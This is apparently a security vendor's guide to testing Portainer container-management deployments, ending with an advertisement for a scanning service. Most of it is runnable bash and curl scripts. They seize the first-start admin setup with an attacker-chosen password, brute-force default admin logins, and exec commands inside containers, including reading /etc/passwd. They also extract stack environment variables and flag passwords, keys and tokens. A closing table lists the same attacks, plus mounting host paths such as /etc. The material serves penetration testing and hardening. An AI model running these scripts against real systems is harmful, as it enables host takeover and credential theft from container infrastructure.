Portainer Security Testing: Docker Socket, API, Default Admin, Stack Deployment, and Environment Variables

Portainer is one of the most widely deployed Docker and Kubernetes management UIs, providing graphical control over container infrastructure — making it an exceptionally high-value target because compromising Portainer gives the same level of access as the Docker socket itself (effectively root on the host). Its security assessment covers: Portainer's admin initialization endpoint /api/users/admin/init is accessible for 5 minutes after first startup — any visitor who reaches this endpoint within that window can set the admin password and claim control of the entire container environment; Portainer's REST API accepts JWT tokens and API keys — admin-level tokens allow exec into any running container, volume creation pointing to host paths, image pull and deployment, and environment inspection; Portainer stacks display their configured environment variables in the UI and API — environment variables contain database passwords, API keys, and service credentials configured for containers; and the Portainer agent deployed on remote Docker hosts listens on port 9001 and by default accepts connections without mutual TLS, allowing any host on the network to issue Docker commands. This guide covers systematic Portainer security assessment.

Table of Contents

  1. Admin Initialization Window Hijack
  2. API Key and Container Exec
  3. Stack Environment Variable Extraction
  4. Portainer Security Hardening

Admin Initialization Window Hijack

# Portainer admin initialization — accessible for 5 minutes after first startup
PORTAINER_URL="https://portainer.example.com"

# Check if admin initialization is still available (5-minute window after startup)
INIT_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${PORTAINER_URL}/api/users/admin/check" 2>/dev/null)
echo "Admin check status: ${INIT_STATUS}"
# 404 = admin already initialized, 204 = admin not yet initialized (window open)

if [ "$INIT_STATUS" = "204" ]; then
  echo "CRITICAL: Admin not initialized — 5-minute setup window still open"
  # Set attacker-controlled admin password
  curl -s -X POST "${PORTAINER_URL}/api/users/admin/init" \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"AttackerPassword123!"}' 2>/dev/null
fi

# Test default admin credentials (common in home lab deployments)
for PASS in "admin" "portainer" "password"; do
  RESPONSE=$(curl -s -X POST "${PORTAINER_URL}/api/auth" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null)
  JWT=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('jwt',''))
" 2>/dev/null)
  if [ -n "$JWT" ] && [ "$JWT" != "null" ]; then
    echo "AUTH SUCCESS: admin/${PASS}"
    echo "JWT token: ${JWT:0:50}..."
    break
  fi
done

API Key and Container Exec

# Portainer API: exec into containers with admin JWT
PORTAINER_URL="https://portainer.example.com"
JWT_TOKEN="your-portainer-jwt"

# List all endpoints (Docker hosts managed by this Portainer instance)
curl -s "${PORTAINER_URL}/api/endpoints" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
eps = json.load(sys.stdin)
print(f'Endpoints: {len(eps)}')
for ep in eps:
    print(f'  [{ep.get(\"Id\")}] {ep.get(\"Name\")} URL={ep.get(\"URL\")}')
" 2>/dev/null

ENDPOINT_ID=1  # Replace with actual endpoint ID

# List all running containers
curl -s "${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/containers/json" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
print(f'Containers: {len(containers)}')
for c in containers[:10]:
    print(f'  {c.get(\"Names\",[\"?\"])[0]} image={c.get(\"Image\")} status={c.get(\"State\")}')
    print(f'    ID: {c.get(\"Id\",\"\")[:12]}')
" 2>/dev/null

# Exec into a container (equivalent to docker exec -it)
CONTAINER_ID="container_id_here"
# Create exec instance
EXEC_ID=$(curl -s -X POST \
  "${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/containers/${CONTAINER_ID}/exec" \
  -H "Authorization: Bearer ${JWT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Cmd":["cat","/etc/passwd"]}' \
  2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('Id',''))" 2>/dev/null)

# Start the exec and get output
curl -s -X POST \
  "${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/exec/${EXEC_ID}/start" \
  -H "Authorization: Bearer ${JWT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"Detach":false,"Tty":false}' 2>/dev/null

Stack Environment Variable Extraction

# Portainer stacks — environment variables contain plaintext secrets
PORTAINER_URL="https://portainer.example.com"
JWT_TOKEN="your-portainer-jwt"

# List all stacks deployed via Portainer
curl -s "${PORTAINER_URL}/api/stacks" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
stacks = json.load(sys.stdin)
print(f'Stacks: {len(stacks)}')
for s in stacks:
    print(f'  [{s.get(\"Id\")}] {s.get(\"Name\")} endpoint={s.get(\"EndpointId\")}')
" 2>/dev/null

# Get environment variables for a specific stack
STACK_ID=1
curl -s "${PORTAINER_URL}/api/stacks/${STACK_ID}" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
s=json.load(sys.stdin)
print(f'Stack: {s.get(\"Name\")}')
for env in s.get('Env',[]):
    name = env.get('name','')
    value = env.get('value','')
    # Look for sensitive variables
    sensitive_keywords = ['password','secret','key','token','pass','pwd','api','db','database','credentials']
    if any(k in name.lower() for k in sensitive_keywords):
        print(f'  SENSITIVE: {name}={value}')
    else:
        print(f'  {name}={value[:50]}')
" 2>/dev/null

Portainer Security Hardening

Portainer Security Hardening Checklist:
Security TestMethodRisk
Admin initialization window (5-min after startup)GET /api/users/admin/check returns 204 — POST /api/users/admin/init sets attacker-controlled admin password, giving full Docker daemon control over all managed hostsCritical
Weak admin credentialsPOST /api/auth with admin/admin, admin/portainer — JWT token gives full container management including exec, volume creation, image deploymentCritical
Container exec via API (container escape path)POST /api/endpoints/{id}/docker/containers/{id}/exec — execute commands inside any container; root containers have host filesystem access via mountsCritical
Stack environment variable extractionGET /api/stacks/{id} with admin JWT — returns all environment variables configured for that stack in plaintext including database passwords, API keys, and service credentialsHigh
Portainer agent on port 9001 without TLSDirect connection to agent:9001 — accepts Docker commands without authentication when mutual TLS not configured; equivalent to unauthenticated Docker daemon accessCritical
Volume creation pointing to host filesystemPOST /api/endpoints/{id}/docker/volumes with driver=local options path=/etc — creates a Docker volume mounting sensitive host paths accessible from deployed containersCritical

Automate Portainer Security Testing

Ironimo tests Portainer deployments for the admin initialization window accessible via /api/users/admin/check enabling admin credential takeover, weak admin credentials giving full Docker daemon control, container exec access to running containers via the API, stack environment variable extraction exposing plaintext database passwords and API keys, Portainer agent port 9001 accepting connections without mutual TLS authentication, and volume creation targeting sensitive host filesystem paths.

Start free scan